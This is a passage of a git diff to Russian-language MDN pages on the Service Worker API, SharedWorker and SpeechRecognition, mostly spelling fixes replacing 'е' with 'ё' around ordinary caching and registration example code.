            Если это первый раз, когда service worker оказался доступен, будет проведена установка, а после успешного её завершения — активация.
            
 
 
            Если service worker уже существует, новая версия устанавливается в фоновом режиме, но не активируется — worker переходит в состояние в ожидании. Новая версия активируется только тогда, когда больше не останется загруженных страниц, использующих старый service worker. Как только это случится, новый service worker активируется (станет активным воркером). Активация может произойти раньше при использовании {{domxref ("ServiceWorkerGlobalScope.skipWaiting()")}}, а существующие страницы могут быть переведены под контроль активного воркера с помощью {{domxref ("Clients.claim()")}}.
            
 
@@ -63,7 +63,7 @@ translation_of: Web/API/Service_Worker_API
 
 
            Есть также событие activate. Момент, когда это событие наступает, является удачным для очистки старого кеша и всего, что ассоциировалось с предыдущей версией вашего service worker'а.
            
 
-
            Service worker может отвечать на запросы, используя событие {{domxref("FetchEvent")}}. Вы можете изменять ответ на эти запросы на свое усмотрение используя метод {{domxref("FetchEvent.respondWith") }}.
            
+
            Service worker может отвечать на запросы, используя событие {{domxref("FetchEvent")}}. Вы можете изменять ответ на эти запросы на своё усмотрение используя метод {{domxref("FetchEvent.respondWith") }}.
            
 
 
            
 
            Заметка: Так как выполнение oninstall/onactivate может занять время, спецификация service worker предоставляет метод waitUntil, который возвращает промис, когда вызывается oninstall или onactivate. Функциональные события не отправляются service worker, пока промис не завершится успешно.
            
@@ -78,7 +78,7 @@ translation_of: Web/API/Service_Worker_API
 
              
  
            • Фоновая синхронизация данных
              • 
  
            • Ответ на запросы от других источников
              • 
- 
            • Получение централизованного обновления для данных использующих тяжелые вычисления, таких как геолокация или гироскоп, для того чтобы несколько станиц могли использовать одни и те же данные
              • 
+ 
            • Получение централизованного обновления для данных использующих тяжёлые вычисления, таких как геолокация или гироскоп, для того чтобы несколько станиц могли использовать одни и те же данные
              • 
  
            • Компиляция и управление зависимостями на клиентской стороне для CoffeeScript, less, CJS/AMD модулей и т.д. для целей разработки
              • 
  
            • Подписка на фоновые сервисы
              • 
  
            • Кастомная шаблонизация, основанная на определённых паттернах URL
              • 
@@ -90,7 +90,7 @@ translation_of: Web/API/Service_Worker_API
 
                
  
              • Фоновой синхронизации: запускать service worker даже когда ни одного пользователя нет на сайте, чтобы обновить кеш.
                • 
  
              • Реакции на пуш-сообщения: запускать service worker для отправки сообщений пользователям, чтобы оповестить их о новом доступном контенте.
                • 
- 
              • Реакции на определенное время и дату
                • 
+ 
              • Реакции на определённое время и дату
                • 
  
              • Введение гео-ограничений
                • 
 
              
 
@@ -100,7 +100,7 @@ translation_of: Web/API/Service_Worker_API
  
              {{domxref("Cache") }}
              
  
              Представляет хранилище для объектов {{domxref("Request")}} / {{domxref("Response")}}, которые кешируются, как часть жизненного цикла {{domxref("ServiceWorker")}}.
              
  
              {{domxref("CacheStorage") }}
              
- 
              Представляет хранилище для объектов {{domxref("Cache")}}. Он создает главную директорию для всех именованных кешей, к которым {{domxref("ServiceWorker")}} имеет доступ, и поддерживает отображение строковых имен соответствующего объекта {{domxref("Cache")}}.
              
+ 
              Представляет хранилище для объектов {{domxref("Cache")}}. Он создаёт главную директорию для всех именованных кешей, к которым {{domxref("ServiceWorker")}} имеет доступ, и поддерживает отображение строковых имён соответствующего объекта {{domxref("Cache")}}.
              
  
              {{domxref("Client") }}
              
  
              Представляет область видимости клиента service worker. Это либо документ в контексте браузера, либо {{domxref("SharedWorker")}}, который контролируется активным воркером.
              
  
              {{domxref("Clients") }}
              
diff --git a/files/ru/web/api/service_worker_api/using_service_workers/index.html b/files/ru/web/api/service_worker_api/using_service_workers/index.html
index bab45149a6..4fc2235590 100644
--- a/files/ru/web/api/service_worker_api/using_service_workers/index.html
+++ b/files/ru/web/api/service_worker_api/using_service_workers/index.html
@@ -83,7 +83,7 @@ translation_of: Web/API/Service_Worker_API/Using_Service_Workers
 
 
              В первом примере код, идущий за вызовом функции myFunction(), будет ждать завершения вызова и возврата значения. Во втором примере myFunction() возвращает промис для value, в этом случае, последующий код сможет выполняться, не дожидаясь завершения основной работы функции. Когда промис разрешится, код, переданный методу then, будет выполнен асинхронно.
              
 
-
              А вот вам реальный пример: что, если мы хотим загружать изображения динамически, к тому же мы желаем удостовериться, что изображения загрузились до того, как они будут показаны? То, что мы хотим сделать, является стандартной задачей, но она все же может доставить головной боли. Мы можем использовать .onload, чтобы показать изображение только после загрузки, но что делать с событиями, которые могут произойти до того, как мы начнем их слушать? Мы могли бы использовать .complete, но оно все еще ненадежно, да и что делать с повторяющимися изображениями? И наконец все это работает синхронно, блокируя главный поток.
              
+
              А вот вам реальный пример: что, если мы хотим загружать изображения динамически, к тому же мы желаем удостовериться, что изображения загрузились до того, как они будут показаны? То, что мы хотим сделать, является стандартной задачей, но она все же может доставить головной боли. Мы можем использовать .onload, чтобы показать изображение только после загрузки, но что делать с событиями, которые могут произойти до того, как мы начнём их слушать? Мы могли бы использовать .complete, но оно все ещё ненадёжно, да и что делать с повторяющимися изображениями? И наконец все это работает синхронно, блокируя главный поток.
              
 
 
              Вместо этого мы можем написать собственный промис для работы с подобными случаями. (Вы можете найти исходный код в нашем примере Promises test или взглянуть на живое демо.)
              
 
@@ -111,9 +111,9 @@ translation_of: Web/API/Service_Worker_API/Using_Service_Workers
   });
 }
            
 
-
            Мы возвращаем новый промис, созданный конструктором Promise(), который в качестве аргумента принимает функцию с параметрами resolve и reject. Где-то внутри функции мы должны определить случаи, при которых промис должен быть разрешен или отклонен, — в нашем случае, в зависимости от того, вернулся ли статус 200 ОК или нет, будут вызваны resolve в случае успеха или reject при неудаче. Последующее содержимое этой функции — вполне стандартное XHR-наполнение, поэтому на данный момент не стоит о нем волноваться.
            
+
            Мы возвращаем новый промис, созданный конструктором Promise(), который в качестве аргумента принимает функцию с параметрами resolve и reject. Где-то внутри функции мы должны определить случаи, при которых промис должен быть разрешён или отклонён, — в нашем случае, в зависимости от того, вернулся ли статус 200 ОК или нет, будут вызваны resolve в случае успеха или reject при неудаче. Последующее содержимое этой функции — вполне стандартное XHR-наполнение, поэтому на данный момент не стоит о нем волноваться.
            
 
-
            Вызывая функцию imgLoad(), мы ожидаемо передаем в качестве параметра url изображения, которое хотим загрузить, но далее код немного отличается:
            
+
            Вызывая функцию imgLoad(), мы ожидаемо передаём в качестве параметра url изображения, которое хотим загрузить, но далее код немного отличается:
            
 
 
            let body = document.querySelector('body');
 let myImage = new Image();
@@ -126,7 +126,7 @@ imgLoad('myLittleVader.jpg').then((response) => {
   console.log(Error);
 });
            
 
-
            После вызова функции мы "цепляем" к ней вызов промис-метода then(), которому в качестве параметров передаем две функции - первая будет вызвана в случае выполнения промиса, созданного вызовом функции imgLoad(), вторая функция будет вызвана в случае отклонения этого промиса. В случае выполнения мы показываем изображение в элементе myImage, который прикрепляем к body (аргументом является request.response, помещенный в промис-методе resolve); в случае отклонения промиса в консоли будет отображено сообщение об ошибке.
            
+
            После вызова функции мы "цепляем" к ней вызов промис-метода then(), которому в качестве параметров передаём две функции - первая будет вызвана в случае выполнения промиса, созданного вызовом функции imgLoad(), вторая функция будет вызвана в случае отклонения этого промиса. В случае выполнения мы показываем изображение в элементе myImage, который прикрепляем к body (аргументом является request.response, помещённый в промис-методе resolve); в случае отклонения промиса в консоли будет отображено сообщение об ошибке.
            
 
 
            Все это происходит асинхронно.
            
 
@@ -141,14 +141,14 @@ imgLoad('myLittleVader.jpg').then((response) => {
 
 
            Демонстрация Service Workers
            
 
-
            Чтобы продемонстрировать только базовые моменты регистрации и установки сервис-воркеров, мы создали простое демо-приложение, названое sw-test. Это простая галерея изображений "Star wars Lego". Оно использует промис-функции, чтобы прочитать из JSON-объекта и загрузить, используя технологию Ajax, изображения, находящиеся далее нижнего края страницы, до того как они будут показаны. В приложении также еще регистрируется, устанавливается и активируется сервис-воркер, и, в случае если браузер поддерживает спецификацию Service Worker, запрашиваемые ресурсы будут закешированы, и приложение будет работать в offline-режиме!
            
+
            Чтобы продемонстрировать только базовые моменты регистрации и установки сервис-воркеров, мы создали простое демо-приложение, названое sw-test. Это простая галерея изображений "Star wars Lego". Оно использует промис-функции, чтобы прочитать из JSON-объекта и загрузить, используя технологию Ajax, изображения, находящиеся далее нижнего края страницы, до того как они будут показаны. В приложении также ещё регистрируется, устанавливается и активируется сервис-воркер, и, в случае если браузер поддерживает спецификацию Service Worker, запрашиваемые ресурсы будут закешированы, и приложение будет работать в offline-режиме!
            
 
 

            
  
            
  Вы можете посмотреть исходный код на GitHub, а также этот живой пример. Единственное, что мы тут рассмотрим, это промис (смотрите app.js строки 22-47), модифицированная версия того, о котором вы читали выше в разделе Тестовая демонстрация промисов. Разница в следующем:
            
 
 
              
- 
            1. Ранее мы передавали параметром лишь URL изображения, которое мы хотели загрузить. Теперь же, мы передаем JSON-фрагмент, содержащий все данные для изображения (посмотрите, как это выглядит в image-list.js). Это сделано потому, что все данные для выполнения каждого промиса должны быть переданы ему, так как он выполняется асинхронно. Если же вы передали лишь URL, а чуть позже попытались получить доступ к другим атрибутам в JSON-фрагменте внутри цикла for(), это бы не сработало, так как этот промис не был бы выполнен во время текущей итерации цикла (это синхронный процесс).
              2. 
+ 
            2. Ранее мы передавали параметром лишь URL изображения, которое мы хотели загрузить. Теперь же, мы передаём JSON-фрагмент, содержащий все данные для изображения (посмотрите, как это выглядит в image-list.js). Это сделано потому, что все данные для выполнения каждого промиса должны быть переданы ему, так как он выполняется асинхронно. Если же вы передали лишь URL, а чуть позже попытались получить доступ к другим атрибутам в JSON-фрагменте внутри цикла for(), это бы не сработало, так как этот промис не был бы выполнен во время текущей итерации цикла (это синхронный процесс).
              3. 
  
            3. Теперь мы выполняем промис с параметром-массивом, так как дальше мы хотим сделать загруженные данные изображения доступными для разрешающей функции, одновременно с именем файла, данными авторства и замещающим текстом (см. app.js строки 31-34). Промисы будут выполняться со всего одним аргументом, поэтому, если вы хотите выполнить их с несколькими параметрами, вы должны использовать массив/объект.
              4. 
  
            4. Затем, чтобы получить доступ к выполненным значениям промисов, мы обращаемся к ним так, как было задумано (смотрите app.js строки 60-64). По началу это может выглядеть немного странно, но именно так и работают промисы.
              5. 
 
            
@@ -182,7 +182,7 @@ imgLoad('myLittleVader.jpg').then((response) => {
 
 
            Предыдущий код регистрирует сервис-воркера, который работает в worker-контексте, и следовательно, не имеет доступа к DOM. Затем вы запускаете код в сервис-воркере, вне ваших страниц, чтобы контролировать их загрузку.
            
 
-
            Один сервис-воркер может контролировать несколько страниц. Каждый раз, когда загружается страница, находящаяся в пределах области видимости, сервис-воркер будет установлен на ней и начнет работу. Поэтому будьте осторожны с применением глобальных переменных в скриптах сервис-воркеров, потому как у каждой страницы нет своего уникального экземпляра сервис-воркера.
            
+
            Один сервис-воркер может контролировать несколько страниц. Каждый раз, когда загружается страница, находящаяся в пределах области видимости, сервис-воркер будет установлен на ней и начнёт работу. Поэтому будьте осторожны с применением глобальных переменных в скриптах сервис-воркеров, потому как у каждой страницы нет своего уникального экземпляра сервис-воркера.
            
 
 
            
 
            На заметку: Сервис-воркеры функционально похожи на прокси-серверы, они позволяют модифицировать запросы и ответы, замещая записями из собственного кеша, и многое другое.
            
@@ -192,7 +192,7 @@ imgLoad('myLittleVader.jpg').then((response) => {
 
            На заметку: Есть одна очень хорошая особенность при работе с сервис-воркерами. В случае, если вы используете функционал проверки поддержки Service Worker, то приложение в браузерах, не имеющих поддержки, продолжат нормально работать с ожидаемым поведением. Кроме того, если браузер поддерживает только AppCache, то будет использована эта технология. В случае, если браузер поддерживает и AppCache и Service Worker, то будет использована Service Worker.
            
 
            
 
-
            Почему мой сервис-воркер не прошел регистрацию?
            
+
            Почему мой сервис-воркер не прошёл регистрацию?
            
 
 
            Это может произойти по следующим причинам:
            
 
@@ -222,7 +222,7 @@ imgLoad('myLittleVader.jpg').then((response) => {
 
            На заметку: Cache API поддерживается не всеми браузерами (смотрите раздел {{anch("Browser support")}} чтобы получить больше информации). Если вы хотите сейчас использовать эту технологию, то можете рассмотреть возможность использования полифила, который доступен в Google's Topeka demo, или можете хранить ресурсы в IndexedDB.
            
 
 
-
            Давайте начнем этот раздел посмотрев на фрагмент кода ниже — это первый блок кода, который вы увидите в нашем сервис-воркере:
            
+
            Давайте начнём этот раздел посмотрев на фрагмент кода ниже — это первый блок кода, который вы увидите в нашем сервис-воркере:
            
 
 
            self.addEventListener('install', (event) => {
   event.waitUntil(
@@ -246,12 +246,12 @@ imgLoad('myLittleVader.jpg').then((response) => {
 
              
  
            1. Здесь мы добавляем обработчик события install к сервис-воркеру (отныне self), и затем вызываем метод {{domxref("ExtendableEvent.waitUntil()") }} объекта события. Такая конструкция гарантирует, что сервис-воркер не будет установлен, пока код, переданный внутри waitUntil(), не завершится с успехом.
              2. 
  
            2. Внутри waitUntil() мы используем метод caches.open(), чтобы создать новый кеш, который назовём v1, это будет первая версия кеша ресурсов. Этот метод возвращает промис для созданного кеша; когда он выполнится, у объекта созданного кеша мы вызовем метод addAll(), который в качестве параметра ожидает получить массив origin-относительных URL всех ресурсов, которые мы хотим хранить в кеше.
              3. 
- 
            3. Если промис будет отклонен, то установка будет завершена неудачно, и воркер ничего не сделает. Это хорошо, потому как вы можете исправить свой код и затем попробовать провести регистрацию в следующий раз.
              4. 
+ 
            4. Если промис будет отклонён, то установка будет завершена неудачно, и воркер ничего не сделает. Это хорошо, потому как вы можете исправить свой код и затем попробовать провести регистрацию в следующий раз.
              5. 
  
            5. После успешной установки сервис-воркер активируется. Этот момент не очень важен при первоначальной установке/активации сервис-воркера, в то же время он имеет большое значение, когда происходит обновление воркера (смотрите раздел {{anch("Обновление вашего сервис-воркера")}}, находящийся ниже).
              6. 
 
            
 
 
            
-
            На заметку: localStorage работает схожим образом, но в синхронном режиме, поэтому запрещен в сервис-воркерах.
            
+
            На заметку: localStorage работает схожим образом, но в синхронном режиме, поэтому запрещён в сервис-воркерах.
            
 
            
 
 
            
@@ -264,7 +264,7 @@ imgLoad('myLittleVader.jpg').then((response) => {
 
 
            
 
-
            Событие fetch возникает каждый раз, когда запрашиваются любые подконтрольные сервис-воркеру ресурсы, к которым относятся документы из области видимости и другие ресурсы, связанные с этими документами (например, если в index.html происходит кросс-доменный запрос для загрузки изображения, то он тоже попадет в сервис-воркер).
            
+
            Событие fetch возникает каждый раз, когда запрашиваются любые подконтрольные сервис-воркеру ресурсы, к которым относятся документы из области видимости и другие ресурсы, связанные с этими документами (например, если в index.html происходит кросс-доменный запрос для загрузки изображения, то он тоже попадёт в сервис-воркер).
            
 
 
            Вы можете подключить к сервис-воркеру обработчик события fetch и внутри него на объекте события вызвать метод respondWith(), чтобы заменить ответы и показать собственную "магию".
            
 
@@ -322,7 +322,7 @@ event.request.body
            
 
 
            Восстановление неудачных запросов
            
 
-
            Итак, caches.match(event.request) отработает как нужно только в том случае, если в кеше сервис-воркера будет найдено соответствие запросу. Но что произойдет, если такого соответствия не будет найдено? Если мы не предоставим никакого механизма обработки такой ситуации, то промис выполнится со значением undefined и мы не получим никакого значения.
            
+
            Итак, caches.match(event.request) отработает как нужно только в том случае, если в кеше сервис-воркера будет найдено соответствие запросу. Но что произойдёт, если такого соответствия не будет найдено? Если мы не предоставим никакого механизма обработки такой ситуации, то промис выполнится со значением undefined и мы не получим никакого значения.
            
 
 
            К счастью, сервис-воркеры имеют структуру основанную на промисах, что делает тривиальной такую обработку и предоставляет большое количество способов успешно обработать запрос:
            
 
@@ -334,9 +334,9 @@ event.request.body
            ); }); -

            Если промис будет отклонен, функция catch() вернет обычный сетевой запрос к внешнему ресурсу. Это значит, что, если сеть доступна, то ресурс просто загрузится с сервера.

            +

            Если промис будет отклонён, функция catch() вернёт обычный сетевой запрос к внешнему ресурсу. Это значит, что, если сеть доступна, то ресурс просто загрузится с сервера.

            -

            Если же мы были достаточно умны, то мы не стали бы просто возвращать сетевой запрос, а сохранили бы его результат в кеше, чтобы иметь возможность получить его в offline-режиме. В случае с нашим демо-приложением "Star Wars gallery", это означает, что, если в галерею будет добавлено еще одно изображение, то оно будет получено и сохранено в кеше:

            +

            Если же мы были достаточно умны, то мы не стали бы просто возвращать сетевой запрос, а сохранили бы его результат в кеше, чтобы иметь возможность получить его в offline-режиме. В случае с нашим демо-приложением "Star Wars gallery", это означает, что, если в галерею будет добавлено ещё одно изображение, то оно будет получено и сохранено в кеше:

            self.addEventListener('fetch', (event) => {
   event.respondWith(
@@ -351,11 +351,11 @@ event.request.body
            ); }); -

            Здесь мы возвращаем обычный сетевой запрос, который возвращен вызовом fetch(event.request); этот запрос также является промисом. Когда промис разрешится, мы получим кеш вызвав caches.open('v1'); этот метод также возвращает промис. Когда разрешится уже второй промис, будет использован вызов cache.put(), чтобы поместить ресурс в кеш. Ресурс получен через event.request, а ответ — через клонирование response.clone(). Клон помещается в кеш, а оригинальный ответ передается браузеру, который передает его странице, которая запросила ресурс.

            +

            Здесь мы возвращаем обычный сетевой запрос, который возвращён вызовом fetch(event.request); этот запрос также является промисом. Когда промис разрешится, мы получим кеш вызвав caches.open('v1'); этот метод также возвращает промис. Когда разрешится уже второй промис, будет использован вызов cache.put(), чтобы поместить ресурс в кеш. Ресурс получен через event.request, а ответ — через клонирование response.clone(). Клон помещается в кеш, а оригинальный ответ передаётся браузеру, который передаёт его странице, которая запросила ресурс.

            -

            Почему? Потому что потоки запроса и ответа могут быть прочитаны только единожды. Чтобы ответ был получен браузером и сохранен в кеше, нам нужно клонировать его. Так оригинальный объект отправится браузеру, а клон будет закеширован. Оба они будут прочитаны единожды.

            +

            Почему? Потому что потоки запроса и ответа могут быть прочитаны только единожды. Чтобы ответ был получен браузером и сохранён в кеше, нам нужно клонировать его. Так оригинальный объект отправится браузеру, а клон будет закеширован. Оба они будут прочитаны единожды.

            -

            У нас все ещё остается единственная проблема - если на какой-либо запрос в кеше не будет найдено соответствие, и в этот момент сеть не доступна, то наш запрос завершится неудачно. Давайте реализуем запасной вариант по умолчанию, при котором пользователь, в описанном случае, будет получать хоть что-нибудь:

            +

            У нас все ещё остаётся единственная проблема - если на какой-либо запрос в кеше не будет найдено соответствие, и в этот момент сеть не доступна, то наш запрос завершится неудачно. Давайте реализуем запасной вариант по умолчанию, при котором пользователь, в описанном случае, будет получать хоть что-нибудь:

            self.addEventListener('fetch', (event) => {
   event.respondWith(
@@ -406,7 +406,7 @@ event.request.body

            Удаление старого кеша

            -

            Вы можете обрабатывать событие activate. Оно обычно используется в случае, если нужно выполнить такие действия, которые бы нарушили работу воркеров предыдущей версии, если они все еще работают со старым кешем. Также это событие полезно использовать для того, чтобы удалить ненужные данные, чтобы освободить место, занимаемое на диске, потому что каждый браузер имеет жесткие ограничения на размер хранилища кеша, которое доступно для использования сервис-воркерами.

            +

            Вы можете обрабатывать событие activate. Оно обычно используется в случае, если нужно выполнить такие действия, которые бы нарушили работу воркеров предыдущей версии, если они все ещё работают со старым кешем. Также это событие полезно использовать для того, чтобы удалить ненужные данные, чтобы освободить место, занимаемое на диске, потому что каждый браузер имеет жёсткие ограничения на размер хранилища кеша, которое доступно для использования сервис-воркерами.

            Promise, переданный в waitUntil(), заблокирует другие события до своего завершения, поэтому можно быть уверенным, что процесс очистки закончится раньше, чем выполнится первое событие fetch на основе нового кеша.

            diff --git a/files/ru/web/api/serviceworker/scripturl/index.html b/files/ru/web/api/serviceworker/scripturl/index.html index c01cb6c968..a0453d4354 100644 --- a/files/ru/web/api/serviceworker/scripturl/index.html +++ b/files/ru/web/api/serviceworker/scripturl/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/ServiceWorker/scriptURL ---
            {{APIRef("Service Workers API")}}
            -

            Возвращает URL, указывающий на скрипт данного Service Worker, определенный с помощью ServiceWorkerRegistration. URL должен находиться в том же домене, что и документ, регистрирующий ServiceWorker.

            +

            Возвращает URL, указывающий на скрипт данного Service Worker, определённый с помощью ServiceWorkerRegistration. URL должен находиться в том же домене, что и документ, регистрирующий ServiceWorker.

            Синтаксис

            diff --git a/files/ru/web/api/serviceworkercontainer/register/index.html b/files/ru/web/api/serviceworkercontainer/register/index.html index 7fd83f836c..3c86ae2687 100644 --- a/files/ru/web/api/serviceworkercontainer/register/index.html +++ b/files/ru/web/api/serviceworkercontainer/register/index.html @@ -5,7 +5,7 @@ translation_of: Web/API/ServiceWorkerContainer/register ---

            {{SeeCompatTable}}{{APIRef("Service Workers API")}}

            -

            register() метод {{domxref("ServiceWorkerContainer")}} интерфейса который создает и обновляет ServiceWorkerRegistration  для указанного URL js скрипта.

            +

            register() метод {{domxref("ServiceWorkerContainer")}} интерфейса который создаёт и обновляет ServiceWorkerRegistration  для указанного URL js скрипта.

            Если удачно, service worker registration связывается по указанному URL js скрипта , который соответственно используется для проверки совпадения при навигации по URL. Если метод не возвращает ServiceWorkerRegistration, он возвращает Promise. Есть возможность вызвать этот метод без проверки на условие, т.е. нет необходимости сначала проверять существует ли активная регистрация в данный момент или нет.

            @@ -33,13 +33,13 @@ translation_of: Web/API/ServiceWorkerContainer/register

            Пример использования

            -

            Примеры кода, приведенные ниже, должны рассматриваться вместе для лучшего понимания того, как применяется scope service worker-ов к конкретной странице.

            +

            Примеры кода, приведённые ниже, должны рассматриваться вместе для лучшего понимания того, как применяется scope service worker-ов к конкретной странице.

            Следующий пример использует дефолтный scope (не указывая его прямо). Service worker в этом случае будет контролировать example.com/index.html и страницы, расположенные "глубже", например example.com/product/description.html.

            if ('serviceWorker' in navigator) {
   // Регистрация service worker-а, расположенного в корне сайта
-  // за счет использования дефолтного scope (не указывая его)
+  // за счёт использования дефолтного scope (не указывая его)
   navigator.serviceWorker.register('/sw.js').then(function(registration) {
     console.log('Service worker зарегистрирован:', registration);
   }).catch(function(error) {
@@ -50,7 +50,7 @@ translation_of: Web/API/ServiceWorkerContainer/register
   console.log('Текущий браузер не поддерживает service worker-ы');
 }
            -

            Следующий пример, если он размещен на странице корня сайта, будет применен ровно к тем же страницам, что и пример выше. Помните, scope, если он указан, использует path страницы в качестве своей базы. Это значит, что, если следующий пример будет использоваться на странице example.com/product/description.html, то scope ./ будет означать, что service worker работает только со страницами внутри example.com/product. Если необходимо зарегистрировать service worker на example.com/product/description.html, и вы хотите, чтобы он обслуживал и корень, example.com, то scope лучше не указывать совсем, как в примере выше.

            +

            Следующий пример, если он размещён на странице корня сайта, будет применён ровно к тем же страницам, что и пример выше. Помните, scope, если он указан, использует path страницы в качестве своей базы. Это значит, что, если следующий пример будет использоваться на странице example.com/product/description.html, то scope ./ будет означать, что service worker работает только со страницами внутри example.com/product. Если необходимо зарегистрировать service worker на example.com/product/description.html, и вы хотите, чтобы он обслуживал и корень, example.com, то scope лучше не указывать совсем, как в примере выше.

            if ('serviceWorker' in navigator) {
   // Регистрация service worker-а, расположенного в корне сайта
diff --git a/files/ru/web/api/serviceworkerregistration/pushmanager/index.html b/files/ru/web/api/serviceworkerregistration/pushmanager/index.html
index 9ef0d95a7d..cc9b0097ba 100644
--- a/files/ru/web/api/serviceworkerregistration/pushmanager/index.html
+++ b/files/ru/web/api/serviceworkerregistration/pushmanager/index.html
@@ -35,7 +35,7 @@ navigator.serviceWorker.register('serviceworker.js').then(
         // при помощи XMLHttpRequest.
       }, function(error) {
         // При разработке это часто помогает отлавливать ошибки в консоли.
-        // В продакшен-среде это также может быть полезно для отправки отчета
+        // В продакшен-среде это также может быть полезно для отправки отчёта
         // об ошибках на сервер приложения.
         console.log(error);
       }
diff --git a/files/ru/web/api/serviceworkerregistration/shownotification/index.html b/files/ru/web/api/serviceworkerregistration/shownotification/index.html
index fdcd0943fc..1be41dab02 100644
--- a/files/ru/web/api/serviceworkerregistration/shownotification/index.html
+++ b/files/ru/web/api/serviceworkerregistration/shownotification/index.html
@@ -43,7 +43,7 @@ translation_of: Web/API/ServiceWorkerRegistration/showNotification
   
          8. renotify: A boolean that indicates whether to supress vibrations and audible alerts when resusing a tag value. The default is false.
            9. 
   
          9. requireInteraction: Indicates that on devices with sufficiently large screens, a notification should remain active until the user clicks or dismisses it. If this value is absent or false, the desktop version of Chrome will auto-minimize notifications after approximately twenty seconds. The default value is false.
            10. 
   
          10. tag: An ID for a given notification that allows you to find, replace, or remove the notification using script if necessary.
            11. 
-  
          11. vibrate: Шаблон вибрации, которая будет воспроизведена вместе с уведомлением. Шаблон может быть массивом из как минимум одного элемента. Значения элементов это время в миллисекундах, при этом четные элементы (0, 2, 4, и т.д.) отражают периоды вибрации, а нечетные периоды пауз. Например, [300, 100, 400] будет означать вибрацию 300ms, паузу 100ms, затем вибрацию 400ms.
            12. 
+  
          12. vibrate: Шаблон вибрации, которая будет воспроизведена вместе с уведомлением. Шаблон может быть массивом из как минимум одного элемента. Значения элементов это время в миллисекундах, при этом чётные элементы (0, 2, 4, и т.д.) отражают периоды вибрации, а нечётные периоды пауз. Например, [300, 100, 400] будет означать вибрацию 300ms, паузу 100ms, затем вибрацию 400ms.
            13. 
   
          13. data: Arbitrary data that you want associated with the notification. This can be of any data type.
            14. 
  
  
diff --git a/files/ru/web/api/serviceworkerstate/index.html b/files/ru/web/api/serviceworkerstate/index.html
index a1702d28b1..9185341f54 100644
--- a/files/ru/web/api/serviceworkerstate/index.html
+++ b/files/ru/web/api/serviceworkerstate/index.html
@@ -15,7 +15,7 @@ translation_of: Web/API/ServiceWorkerState
  
            installed
            
  
            Service worker находится в состоянии ожидания и будет активирован после закрытия всех страниц его источника, использующих предыдущую версию service worker'а.
            
  
            activating
            
- 
            Service worker в данном состоянии считается активным. В этом состоянии, метод {{DOMxRef("ExtendableEvent.waitUntil()")}} может быть вызван в обработчике события onactivate для продления этапа активации до успешного завершения переданного промиса. Service worker не начнет обрабатывать события до перехода в состояние activated.
            
+ 
            Service worker в данном состоянии считается активным. В этом состоянии, метод {{DOMxRef("ExtendableEvent.waitUntil()")}} может быть вызван в обработчике события onactivate для продления этапа активации до успешного завершения переданного промиса. Service worker не начнёт обрабатывать события до перехода в состояние activated.
            
  
            activated
            
  
            Service worker в данном состоянии активен и готов обрабатывать события.
            
  
            redundant
            
diff --git a/files/ru/web/api/sharedworker/index.html b/files/ru/web/api/sharedworker/index.html
index 7e2b91c3c7..a50a9664a3 100644
--- a/files/ru/web/api/sharedworker/index.html
+++ b/files/ru/web/api/sharedworker/index.html
@@ -30,7 +30,7 @@ translation_of: Web/API/SharedWorker
 
 
            
  
            {{domxref("SharedWorker.SharedWorker", "SharedWorker()")}}
            
- 
            Создает разделяемый веб воркер, который выполняет скрипт по указанному URL.
            
+ 
            Создаёт разделяемый веб воркер, который выполняет скрипт по указанному URL.
            
 
            
 
 
            Методы
            
diff --git a/files/ru/web/api/speechgrammar/index.html b/files/ru/web/api/speechgrammar/index.html
index d4f5246027..1731b109f3 100644
--- a/files/ru/web/api/speechgrammar/index.html
+++ b/files/ru/web/api/speechgrammar/index.html
@@ -21,7 +21,7 @@ translation_of: Web/API/SpeechGrammar
 
 
            
  
            {{domxref("SpeechGrammar.SpeechGrammar()")}}
            
- 
            Создает новый объект SpeechGrammar .
            
+ 
            Создаёт новый объект SpeechGrammar .
            
 
            
 
 
            Свойства
            
diff --git a/files/ru/web/api/speechrecognition/index.html b/files/ru/web/api/speechrecognition/index.html
index 8331ae2e91..f7939e84d2 100644
--- a/files/ru/web/api/speechrecognition/index.html
+++ b/files/ru/web/api/speechrecognition/index.html
@@ -11,7 +11,7 @@ translation_of: Web/API/SpeechRecognition
 
 
            
  
            {{domxref("SpeechRecognition.SpeechRecognition()")}}
            
- 
            Создает новый объект SpeechRecognition .
            
+ 
            Создаёт новый объект SpeechRecognition .
            
 
            
 
 
            Свойства
            
@@ -22,11 +22,11 @@ translation_of: Web/API/SpeechRecognition
  
            {{domxref("SpeechRecognition.grammars")}}
            
  
            Возвращает и устанавливает коллекцию объектов {{domxref("SpeechGrammar")}}  грамматики которые будут понятны текущему SpeechRecognition.
            
  
            {{domxref("SpeechRecognition.lang")}}
            
- 
            Задает и возвращает язык текущего SpeechRecognition. Если данное свойство не указано по умолчанию, то используется из HTML кода значение атрибута {{htmlattrxref("lang","html")}} , или настройки языка агента текущего пользователя.
            
+ 
            Задаёт и возвращает язык текущего SpeechRecognition. Если данное свойство не указано по умолчанию, то используется из HTML кода значение атрибута {{htmlattrxref("lang","html")}} , или настройки языка агента текущего пользователя.
            
  
            {{domxref("SpeechRecognition.continuous")}}
            
  
            Проверяет возвращается ли непрерывные результаты или вернулся только один. По умолчанию для одиночного значение (false.)
            
  
            {{domxref("SpeechRecognition.interimResults")}}
            
- 
            Контроллирует, следует ли возвращать промежуточные результаты (true) или нет (false.) Промежуточные результаты это результаты которые еще не завершены ( например {{domxref("SpeechRecognitionResult.isFinal")}} свойство ложно.)
            
+ 
            Контроллирует, следует ли возвращать промежуточные результаты (true) или нет (false.) Промежуточные результаты это результаты которые ещё не завершены ( например {{domxref("SpeechRecognitionResult.isFinal")}} свойство ложно.)
            
  
            {{domxref("SpeechRecognition.maxAlternatives")}}
            
  
            Устанавливает максимальное количество предоставленных результатов {{domxref("SpeechRecognitionAlternative")}}. По умолчанию значение 1.
            
  
            {{domxref("SpeechRecognition.serviceURI")}}
            
@@ -45,7 +45,7 @@ translation_of: Web/API/SpeechRecognition
  
            {{domxref("SpeechRecognition.onerror")}}
            
  
            Вызывается когда произошла ошибка распознавания речи.
            
  
            {{domxref("SpeechRecognition.onnomatch")}}
            
- 
            Вызывается, когда служба распознавания речи возвращает окончательный результат без существенного распознавания. Это может включать определенную степень признания  {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} которая не соответствует пороговому значению или превышает его.
            
+ 
            Вызывается, когда служба распознавания речи возвращает окончательный результат без существенного распознавания. Это может включать определённую степень признания  {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} которая не соответствует пороговому значению или превышает его.
            
  
            {{domxref("SpeechRecognition.onresult")}}
            
  
